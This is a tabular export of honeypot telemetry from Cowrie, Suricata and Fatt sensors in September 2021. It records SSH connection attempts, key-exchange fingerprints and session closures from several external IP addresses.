28123	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:16.143052+03	2021-09-20 14:30:02.414525+03	{"_id": "mAbrAnwBvYTbRNuEvyye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:41704 (192.168.176.2:22) [session: 348e18676687]", "session": "348e18676687", "@version": "1", "protocol": "ssh", "src_port": 41704, "dest_port": 22, "timestamp": "2021-09-20T11:16:16.143052Z", "@timestamp": "2021-09-20T11:16:16.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28124	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:16.499175+03	2021-09-20 14:30:02.415553+03	{"_id": "mwbrAnwBvYTbRNuEvyye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "889f2e97b97f", "@version": "1", "duration": 2.7803850173950195, "timestamp": "2021-09-20T11:16:16.499175Z", "@timestamp": "2021-09-20T11:16:16.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28125	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:16.156621+03	2021-09-20 14:30:02.417555+03	{"_id": "oAbrAnwBvYTbRNuEvyye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "348e18676687", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:16.156621Z", "@timestamp": "2021-09-20T11:16:16.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28126	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:16:16.371367+03	2021-09-20 14:30:02.418554+03	{"_id": "owbrAnwBvYTbRNuEwSxs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 372676149375866, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41704, "dest_port": 22, "timestamp": "2021-09-20T11:16:16.371367Z", "@timestamp": "2021-09-20T11:16:16.371Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28127	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:13.320667+03	2021-09-20 14:30:02.419551+03	{"_id": "jgbrAnwBvYTbRNuEsyzj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "79c7de44a56d", "@version": "1", "duration": 8.885074615478516, "timestamp": "2021-09-20T11:16:13.320667Z", "@timestamp": "2021-09-20T11:16:13.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28128	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:13.994519+03	2021-09-20 14:30:02.420554+03	{"_id": "kQbrAnwBvYTbRNuEtSyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1615504393220371, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33934, "dest_port": 22, "timestamp": "2021-09-20T11:16:13.994519Z", "@timestamp": "2021-09-20T11:16:13.994Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28129	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:16:16.371678+03	2021-09-20 14:30:02.421556+03	{"_id": "lQbrAnwBvYTbRNuEvizK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41704, "dest_port": 22, "timestamp": "2021-09-20T11:16:16.371678", "@timestamp": "2021-09-20T11:16:16.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28130	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:16.372343+03	2021-09-20 14:30:02.422525+03	{"_id": "lwbrAnwBvYTbRNuEvyyd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "348e18676687", "@version": "1", "timestamp": "2021-09-20T11:16:16.372343Z", "@timestamp": "2021-09-20T11:16:16.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28131	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:08.161873+03	2021-09-20 14:30:02.424553+03	{"_id": "eQbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7f690ff911ad", "@version": "1", "timestamp": "2021-09-20T11:16:08.161873Z", "@timestamp": "2021-09-20T11:16:08.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28137	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:09.963135+03	2021-09-20 14:30:02.431553+03	{"_id": "gwbrAnwBvYTbRNuEqCwp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "029bbe8e25de", "@version": "1", "duration": 2.965425491333008, "timestamp": "2021-09-20T11:16:09.963135Z", "@timestamp": "2021-09-20T11:16:09.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28132	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:16:09.263761+03	2021-09-20 14:30:02.425525+03	{"_id": "egbrAnwBvYTbRNuEoiwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:07.633385+0000", "pkts_toclient": 10, "pkts_toserver": 14, "bytes_toclient": 2143, "bytes_toserver": 3676}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 403988607904297, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56938, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:09.263761Z", "@timestamp": "2021-09-20T11:16:09.263Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28133	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:09.378885+03	2021-09-20 14:30:02.426558+03	{"_id": "fwbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1c8de958179b", "@version": "1", "duration": 3.7389965057373047, "timestamp": "2021-09-20T11:16:09.378885Z", "@timestamp": "2021-09-20T11:16:09.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28134	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:09.809038+03	2021-09-20 14:30:02.428524+03	{"_id": "fgbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 29.846529006958008, "timestamp": "2021-09-20T11:16:09.809038Z", "@timestamp": "2021-09-20T11:16:09.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28135	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:09.10429+03	2021-09-20 14:30:02.429554+03	{"_id": "gQbrAnwBvYTbRNuEpCxC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.17.12", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5715517997741699, "duplicate": true, "timestamp": "2021-09-20T11:16:09.104290Z", "@timestamp": "2021-09-20T11:16:09.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
